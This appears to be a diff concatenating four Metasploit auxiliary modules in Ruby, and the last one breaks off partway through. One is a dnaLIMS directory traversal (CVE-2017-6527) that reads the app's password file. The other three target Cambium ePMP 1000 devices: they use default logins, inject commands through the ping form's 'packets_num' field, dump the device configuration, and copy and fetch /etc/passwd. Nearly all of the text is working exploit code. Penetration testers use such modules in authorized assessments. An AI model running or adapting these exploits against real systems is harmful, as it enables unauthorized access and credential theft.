class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'DnaLIMS Directory Traversal',
|
||||
'Description' => %q{
|
||||
This module exploits a directory traversal vulnerability found in dnaLIMS.
|
||||
Due to the way the viewAppletFsa.cgi script handles the 'secID' parameter, it is possible
|
||||
to read a file outside the www directory.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2017-6527'],
|
||||
['US-CERT-VU', '929263'],
|
||||
['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'h00die <mike@shorebreaksecurity.com>', # Discovery, PoC
|
||||
'flakey_biscuit <nicholas@shorebreaksecurity.com>' # Discovery, PoC
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => "Mar 8 2017"
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/']),
|
||||
OptString.new('FILE', [ true, "The path to the file to view", '/home/dna/spool/.pfile']), # password db for app
|
||||
OptInt.new('DEPTH', [true, 'The traversal depth', 4])
|
||||
], self.class)
|
||||
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
file = (datastore['FILE'][0,1] == '/') ? datastore['FILE'] : "#{datastore['FILE']}"
|
||||
traverse = "../" * datastore['DEPTH']
|
||||
uri = normalize_uri(target_uri.path)
|
||||
base = File.dirname("#{uri}/.")
|
||||
|
||||
print_status("Requesting: #{file} - #{rhost}")
|
||||
res = send_request_cgi({
|
||||
'uri' => "#{base}/viewAppletFsa.cgi",
|
||||
'vars_get' => { 'secID' => "#{traverse}#{file}%00",
|
||||
'Action' => 'blast',
|
||||
'hidenav' => '1'
|
||||
}
|
||||
})
|
||||
|
||||
if not res
|
||||
print_error("No response from server.")
|
||||
return
|
||||
end
|
||||
|
||||
if res.code != 200
|
||||
print_error("Server returned a non-200 response (body will not be saved):")
|
||||
print_line(res.to_s)
|
||||
return
|
||||
end
|
||||
|
||||
vprint_good(res.body)
|
||||
p = store_loot('dnaLIMS.traversal.file', 'application/octet-stream', ip, res.body, File.basename(file))
|
||||
print_good("File saved as: #{p}")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
@ -0,0 +1,265 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Cambium ePMP 1000 (up to v2.5) Arbitrary Command Execution',
|
||||
'Description' => %{
|
||||
This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 (<v2.5) device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to execute arbitrary system commands.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/'],
|
||||
['URL', 'https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'VERBOSE' => true })
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
|
||||
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
|
||||
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer']),
|
||||
OptString.new('CMD', [true, 'Command(s) to run', 'id; pwd'])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
unless is_app_epmp1000?
|
||||
return
|
||||
end
|
||||
|
||||
each_user_pass do |user, pass|
|
||||
do_login(user, pass)
|
||||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: Time.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
#
|
||||
# Check if App is Cambium ePMP 1000
|
||||
#
|
||||
|
||||
def is_app_epmp1000?
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
}
|
||||
)
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
|
||||
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
|
||||
return false
|
||||
end
|
||||
|
||||
good_response = (
|
||||
res &&
|
||||
res.code == 200 &&
|
||||
res.headers['Server'] &&
|
||||
(res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com'))
|
||||
)
|
||||
|
||||
if good_response
|
||||
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
|
||||
if !get_epmp_ver.nil?
|
||||
epmp_ver = get_epmp_ver[1]
|
||||
if !epmp_ver.nil?
|
||||
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
|
||||
if "#{epmp_ver}" >= '2.5'
|
||||
print_error('This ePMP version is not vulnerable. Module will not continue.')
|
||||
return false
|
||||
else
|
||||
return true
|
||||
end
|
||||
else
|
||||
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
|
||||
return true
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. Module will not continue.")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Execute arbitrary command(s)
|
||||
#
|
||||
|
||||
def do_login(user, pass)
|
||||
print_status("#{rhost}:#{rport} - Attempting to login...")
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/cgi-bin/luci',
|
||||
'method' => 'POST',
|
||||
'headers' => {
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'Accept' => 'application/json, text/javascript, */*; q=0.01'
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'username' => 'dashboard',
|
||||
'password' => ''
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
good_response = (
|
||||
res &&
|
||||
res.code == 200 &&
|
||||
res.headers.include?('Set-Cookie') &&
|
||||
res.headers['Set-Cookie'].include?('sysauth')
|
||||
)
|
||||
|
||||
if good_response
|
||||
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
|
||||
|
||||
cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/cgi-bin/luci',
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie1,
|
||||
'headers' => {
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'Accept' => 'application/json, text/javascript, */*; q=0.01',
|
||||
'Connection' => 'close'
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'username' => user,
|
||||
'password' => pass
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
good_response = (
|
||||
res &&
|
||||
res.code == 200 &&
|
||||
res.headers.include?('Set-Cookie') &&
|
||||
res.headers['Set-Cookie'].include?('stok=')
|
||||
)
|
||||
|
||||
if good_response
|
||||
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
|
||||
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'Cambium ePMP 1000',
|
||||
user: user,
|
||||
password: pass
|
||||
)
|
||||
|
||||
get_stok = res.headers['Set-Cookie'].match(/stok=(.*)/)
|
||||
if !get_stok.nil?
|
||||
stok_value = get_stok[1]
|
||||
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
|
||||
|
||||
cookie2 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}"
|
||||
|
||||
uri1 = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/ping'
|
||||
command = datastore['CMD']
|
||||
inject = '|' + "#{command}" + ' ||'
|
||||
clean_inject = CGI.unescapeHTML(inject.to_s)
|
||||
|
||||
print_status("#{rhost}:#{rport} - Executing #{command}")
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => uri1,
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie2,
|
||||
'headers' => {
|
||||
'Accept' => '*/*',
|
||||
'Accept-Language' => 'en-US,en;q=0.5',
|
||||
'Accept-Encoding' => 'gzip, deflate',
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'ctype' => '*/*',
|
||||
'Connection' => 'close'
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'ping_ip' => '8.8.8.8',
|
||||
'packets_num' => clean_inject,
|
||||
'buf_size' => 0,
|
||||
'ttl' => 1,
|
||||
'debug' => '0'
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
vprint_line("#{res.body}")
|
||||
|
||||
# Extract ePMP version
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
}
|
||||
)
|
||||
|
||||
epmp_ver = res.body.match(/"sw_version">([^<]*)/)[1]
|
||||
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: "Cambium ePMP 1000 v#{epmp_ver}",
|
||||
user: user,
|
||||
password: pass
|
||||
)
|
||||
else
|
||||
# Login failed
|
||||
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,254 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Cambium ePMP 1000 Dump Device Config',
|
||||
'Description' => %{
|
||||
This module dumps Cambium ePMP 1000 device configuration file. An ePMP 1000 box has four (4) login accounts - admin/admin, installer/installer, home/home, and readonly/readonly. This module requires any one of the following login credentials - admin / installer / home - to dump device configuration file.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'VERBOSE' => true })
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
|
||||
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
|
||||
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
unless is_app_epmp1000?
|
||||
return
|
||||
end
|
||||
|
||||
each_user_pass do |user, pass|
|
||||
do_login(user, pass)
|
||||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: Time.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
#
|
||||
# Check if App is Cambium ePMP 1000
|
||||
#
|
||||
|
||||
def is_app_epmp1000?
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
}
|
||||
)
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
|
||||
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
|
||||
return false
|
||||
end
|
||||
|
||||
good_response = (
|
||||
res &&
|
||||
res.code == 200 &&
|
||||
res.headers['Server'] &&
|
||||
(res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com'))
|
||||
)
|
||||
|
||||
if good_response
|
||||
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
|
||||
if !get_epmp_ver.nil?
|
||||
epmp_ver = get_epmp_ver[1]
|
||||
if !epmp_ver.nil?
|
||||
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
|
||||
return true
|
||||
else
|
||||
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
|
||||
return true
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. Module will not continue.")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Login and dump config file
|
||||
#
|
||||
|
||||
def do_login(user, pass)
|
||||
print_status("#{rhost}:#{rport} - Attempting to login...")
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/cgi-bin/luci',
|
||||
'method' => 'POST',
|
||||
'headers' => {
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'Accept' => 'application/json, text/javascript, */*; q=0.01'
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'username' => 'dashboard',
|
||||
'password' => ''
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
good_response = (
|
||||
res &&
|
||||
res.code == 200 &&
|
||||
res.headers.include?('Set-Cookie') &&
|
||||
res.headers['Set-Cookie'].include?('sysauth')
|
||||
)
|
||||
|
||||
if good_response
|
||||
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
|
||||
|
||||
cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/cgi-bin/luci',
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie1,
|
||||
'headers' => {
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'Accept' => 'application/json, text/javascript, */*; q=0.01',
|
||||
'Connection' => 'close'
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'username' => user,
|
||||
'password' => pass
|
||||
}
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
good_response = (
|
||||
res &&
|
||||
res.code == 200 &&
|
||||
res.headers.include?('Set-Cookie') &&
|
||||
res.headers['Set-Cookie'].include?('stok=')
|
||||
)
|
||||
|
||||
if good_response
|
||||
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
|
||||
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'Cambium ePMP 1000',
|
||||
user: user,
|
||||
password: pass
|
||||
)
|
||||
|
||||
get_stok = res.headers['Set-Cookie'].match(/stok=(.*)/)
|
||||
if !get_stok.nil?
|
||||
stok_value = get_stok[1]
|
||||
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
|
||||
|
||||
cookie2 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}"
|
||||
|
||||
config_uri = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/config_export?opts=json'
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'method' => 'GET',
|
||||
'uri' => config_uri,
|
||||
'cookie' => cookie2,
|
||||
'headers' => {
|
||||
'Accept' => '*/*',
|
||||
'Accept-Language' => 'en-US,en;q=0.5',
|
||||
'Accept-Encoding' => 'gzip, deflate',
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
|
||||
'Connection' => 'close'
|
||||
}
|
||||
}, 25
|
||||
)
|
||||
|
||||
if res && res.code == 200 && res.body =~ /device_props/
|
||||
vprint_status('++++++++++++++++++++++++++++++++++++++')
|
||||
vprint_status("#{rhost}:#{rport} - dumping configuration")
|
||||
vprint_status('++++++++++++++++++++++++++++++++++++++')
|
||||
print_good("#{rhost}:#{rport} - File retrieved successfully!")
|
||||
|
||||
path = store_loot('ePMP_config', 'text/plain', rhost, res.body, 'Cambium ePMP 1000 device config')
|
||||
print_status("#{rhost}:#{rport} - File saved in: #{path}")
|
||||
else
|
||||
print_error("#{rhost}:#{rport} - Failed to retrieve configuration")
|
||||
return
|
||||
end
|
||||
|
||||
# Extract ePMP version
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
}
|
||||
)
|
||||
|
||||
epmp_ver = res.body.match(/"sw_version">([^<]*)/)[1]
|
||||
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: "Cambium ePMP 1000 v#{epmp_ver}",
|
||||
user: user,
|
||||
password: pass
|
||||
)
|
||||
end
|
||||
else
|
||||
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,318 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Cambium ePMP 1000 Password Hash Extractor',
|
||||
'Description' => %{
|
||||
This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 (<v2.5) device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to dump system hashes.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/'],
|
||||
['URL', 'https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'VERBOSE' => true })
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
|
||||
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
|
||||
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
unless is_app_epmp1000?
|
||||
return
|
||||
end
|
||||
|
||||
each_user_pass do |user, pass|
|
||||
do_login(user, pass)
|
||||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: Time.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
#
|
||||
# Check if App is Cambium ePMP 1000
|
||||
#
|
||||
|
||||
def is_app_epmp1000?
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
}
|
||||
)
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
|
||||
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
|
||||
return false
|
||||
end
|
||||
|
||||
good_response = (
|
||||
res &&
|
||||
res.code == 200 &&
|
||||
res.headers['Server'] &&
|
||||
(res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com'))
|
||||
)
|
||||
|
||||
if good_response
|
||||
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
|
||||
if !get_epmp_ver.nil?
|
||||
epmp_ver = get_epmp_ver[1]
|
||||
if !epmp_ver.nil?
|
||||
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
|
||||
if "#{epmp_ver}" >= '2.5'
|
||||
print_error('This ePMP version is not vulnerable. Module will not continue.')
|
||||
return false
|
||||
else
|
||||
return true
|
||||
end
|
||||
else
|
||||
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
|
||||
return true
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. Module will not continue.")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Dump ePMP Password Hashes
|
||||
#
|
||||
|
||||
def do_login(user, pass)
|
||||
print_status("#{rhost}:#{rport} - Attempting to login...")
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/cgi-bin/luci',
|
||||
'method' => 'POST',
|
||||
'headers' => {
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'Accept' => 'application/json, text/javascript, */*; q=0.01'
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'username' => 'dashboard',
|
||||
'password' => ''
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
good_response = (
|
||||
res &&
|
||||
res.code == 200 &&
|
||||
res.headers.include?('Set-Cookie') &&
|
||||
res.headers['Set-Cookie'].include?('sysauth')
|
||||
)
|
||||
|
||||
if good_response
|
||||
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
|
||||
|
||||
cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/cgi-bin/luci',
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie1,
|
||||
'headers' => {
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'Accept' => 'application/json, text/javascript, */*; q=0.01',
|
||||
'Connection' => 'close'
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'username' => user,
|
||||
'password' => pass
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
good_response = (
|
||||
res &&
|
||||
res.code == 200 &&
|
||||
res.headers.include?('Set-Cookie') &&
|
||||
res.headers['Set-Cookie'].include?('stok=')
|
||||
)
|
||||
|
||||
if good_response
|
||||
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
|
||||
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'Cambium ePMP 1000',
|
||||
user: user,
|
||||
password: pass
|
||||
)
|
||||
|
||||
get_stok = res.headers['Set-Cookie'].match(/stok=(.*)/)
|
||||
if !get_stok.nil?
|
||||
stok_value = get_stok[1]
|
||||
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
|
||||
|
||||
cookie2 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}"
|
||||
|
||||
uri1 = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/ping'
|
||||
command = 'cp /etc/passwd /www/'
|
||||
inject = '|' + "#{command}" + ' ||'
|
||||
clean_inject = CGI.unescapeHTML(inject.to_s)
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => uri1,
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie2,
|
||||
'headers' => {
|
||||
'Accept' => '*/*',
|
||||
'Accept-Language' => 'en-US,en;q=0.5',
|
||||
'Accept-Encoding' => 'gzip, deflate',
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'ctype' => '*/*',
|
||||
'Connection' => 'close'
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'ping_ip' => '8.8.8.8',
|
||||
'packets_num' => clean_inject,
|
||||
'buf_size' => 0,
|
||||
'ttl' => 1,
|
||||
'debug' => '0'
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'method' => 'GET',
|
||||
'uri' => '/passwd',
|
||||
'cookie' => cookie2,
|
||||
'headers' => {
|
||||
'Accept' => '*/*',
|
||||
'Accept-Language' => 'en-US,en;q=0.5',
|
||||
'Accept-Encoding' => 'gzip, deflate',
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
|
||||
'Connection' => 'close'
|
||||
}
|
||||
}, 25
|
||||
)
|
||||
|
||||
if res && res.code == 200 && res.body =~ /root/
|
||||
vprint_status('++++++++++++++++++++++++++++++++++++++')
|
||||
vprint_status("#{rhost}:#{rport} - dumping password hashes")
|
||||
vprint_line("#{res.body}")
|
||||
vprint_status('++++++++++++++++++++++++++++++++++++++')
|
||||
|
||||
print_good("#{rhost}:#{rport} - File retrieved successfully!")
|
||||
path = store_loot('ePMP_passwd', 'text/plain', rhost, res.body, 'Cambium ePMP 1000 password hashes')
|
||||
print_status("#{rhost}:#{rport} - File saved in: #{path}")
|
||||
else
|
||||
print_error("#{rhost}:#{rport} - Failed to retrieve hashes")
|
||||
return
|
||||
end
|
||||
|
||||
command = 'rm /www/passwd'
|
||||
inject = '|' + "#{command}" + ' ||'
|
||||
clean_inject = CGI.unescapeHTML(inject.to_s)
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => uri1,
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie2,
|
||||
'headers' => {
|
||||
'Accept' => '*/*',
|
||||
'Accept-Language' => 'en-US,en;q=0.5',
|
||||
'Accept-Encoding' => 'gzip, deflate',
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'ctype' => '*/*',
|
||||
'Connection' => 'close'
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'ping_ip' => '8.8.8.8',
|
||||
'packets_num' => clean_inject,
|
||||
'buf_size' => 0,
|
||||
'ttl' => 1,
|
||||
'debug' => '0'
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
# Extract ePMP version
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
}
|
||||
)
|
||||
|
||||
epmp_ver = res.body.match(/"sw_version">([^<]*)/)[1]
|
||||
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
